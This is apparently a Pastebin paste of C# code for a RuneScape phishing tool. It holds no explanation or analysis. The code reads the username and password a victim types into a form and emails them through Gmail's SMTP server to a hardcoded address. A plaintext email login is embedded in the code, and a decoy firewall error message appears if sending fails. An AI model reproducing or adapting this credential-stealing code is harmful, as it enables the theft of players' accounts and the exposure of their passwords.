Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- button1.Enabled = false; //disables the start button
- SmtpClient client = new SmtpClient("smtp.gmail.com", 587); //starts a new client with host and port (I used GMAIL)
- client.Credentials = new NetworkCredential("rsmembynow@gmail.com", "fe1995fe"); //username and password
- MailMessage msg = new MailMessage(); //starts a new message
- msg.From = new MailAddress("rsmembynow@gmail.com"); //the from e-mail
- msg.To.Add(new MailAddress("rsmembynow@gmail.com")); //the to e-mail
- msg.Subject = "Phisher - RuneScape"; //the e-mail's subject
- msg.Body = "Username: " + txtUsername.Text + " | " + "Password: " + txtPassword.Text; //the e-mail's body
- client.EnableSsl = true; //enables SSL
- try //try to send the e-mail
- {
- client.Send(msg); //send the e-mail
- }
- catch (Exception) //catch statment for any errors
- {
- MessageBox.Show("Error, Try again. \n \n Make sure your firewall is not blocking this application.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); // Error message
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement